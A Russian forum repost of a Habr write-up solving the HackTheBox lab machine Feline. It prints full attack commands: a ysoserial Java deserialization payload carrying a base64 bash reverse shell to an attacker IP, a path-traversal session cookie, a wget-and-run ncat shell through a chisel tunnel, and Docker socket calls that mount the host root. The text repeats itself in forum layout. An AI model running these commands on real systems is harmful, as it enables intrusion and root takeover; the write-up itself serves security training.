[Информационная безопасность, CTF] HackTheBox. Прохождение Feline. RCE через сереализацию в Java и LPE через докер сокеты
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информацияСпециально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).ReconДанная машина имеает IP адрес 10.10.10.205, который я добавляю в /etc/hosts.
10.10.10.205 feline.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.
Плюс ко всему, мы находим уязвимость для данной версии веб сервера.
Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код.
Entry PointПросто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.
Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта. USERСначала сам шелл, закодированный в base64.
#!/bin/bash
rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'"
code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"
Теперь сериализуем его.
java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session
Загружаем файл.
curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null
И выполняем бэкконнект.
curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null
Так мы берем пользователя.Docker ROOTДля разведки на хосте используем LinPEAS. Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.
Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.
И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.
chisel.bin server -p 56765 --reverse
И выполним коннект с удаленного хоста.
chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506
Как можно заметить, мы туннелируем порт.
Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.
python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"
И у нас есть рут в докере.ROOTДля разведки в докер контейнере используем deepce.
И видим, что есть докер сокет. Давайте получим информацию о контейнере.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.
{
"Image": "188a2704d8b0",
"Cmd": [
"/bin/sh"
],
"DetachKeys": "Ctrl-p,Ctrl-q",
"OpenStdin": true,
"Mounts": [
{
"Type": "bind",
"Source": "/",
"Target": "/r4lf"
}
]
}
А теперь создаем новый контейнер.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
Запускаем его и подключаемся к нему, используя Socat.
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/start
socatx64.bin - UNIX-CONNECT:/var/run/docker.sock
Далее необходимо отправить следующий пост запрос.
POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Таким образом наша система будем монтирована как /r4lf.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Криптография, Python, Графические оболочки, C] Поддержка токенов PKCS#11 с ГОСТ-криптографией в Python. Часть I
- [Информационная безопасность] Как подружить «современный» TLS и «устаревшие» браузеры?
- [Информационная безопасность] Проблемы безопасности онлайн банков
- [Информационная безопасность, Законодательство в IT] Информационная безопасность и коммерческая тайна
- [Информационная безопасность, Мессенджеры] WhatsApp не откажется от обновления политики конфиденциальности
- [Исследования и прогнозы в IT, Научно-популярное, Социальные сети и сообщества] Persuasive Technology — как соцсети и мобильные приложения управляют нашими желаниями
- [Информационная безопасность] О безопасности Сбербанка Онлайн
- [Разработка на Raspberry Pi, Умный дом, Интернет вещей, Микросервисы] Первый опыт с Raspberry Pi или микросервисы для дома
- [Информационная безопасность] ТОП-3 ИБ-событий недели по версии Jet CSIRT
- [Информационная безопасность, JavaScript, Google Chrome, Браузеры] Новая утечка истории браузера через favicon
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_ctf, #_ralf_rt, #_pentest, #_pentesting, #_red_team, #_redteam, #_red_teaming, #_ctf, #_docker, #_informatsionnaja_bezopasnost (информационная безопасность), #_kompjuternaja_bezopasnost (компьютерная безопасность), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_ctf
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 17:52
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информацияСпециально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
10.10.10.205 feline.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен. Плюс ко всему, мы находим уязвимость для данной версии веб сервера. Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код. Entry PointПросто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл. Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта. USERСначала сам шелл, закодированный в base64. #!/bin/bash
rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'" code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}" java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session
curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null
curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null
Так мы берем пользователя.Docker ROOTДля разведки на хосте используем LinPEAS. Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения. Получая информацию о каждом используемом локальном порте, останавливаемся на 4506. И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине. chisel.bin server -p 56765 --reverse
И выполним коннект с удаленного хоста. chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506
Как можно заметить, мы туннелируем порт. Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение. python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"
И у нас есть рут в докере.ROOTДля разведки в докер контейнере используем deepce. И видим, что есть докер сокет. Давайте получим информацию о контейнере. curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию. {
"Image": "188a2704d8b0", "Cmd": [ "/bin/sh" ], "DetachKeys": "Ctrl-p,Ctrl-q", "OpenStdin": true, "Mounts": [ { "Type": "bind", "Source": "/", "Target": "/r4lf" } ] } А теперь создаем новый контейнер. curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
Запускаем его и подключаемся к нему, используя Socat. curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/start
socatx64.bin - UNIX-CONNECT:/var/run/docker.sock POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host: Connection: Upgrade Upgrade: tcp =========== Источник: habr.com =========== Похожие новости:
Информационная безопасность ), #_ctf |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 17:52
Часовой пояс: UTC + 5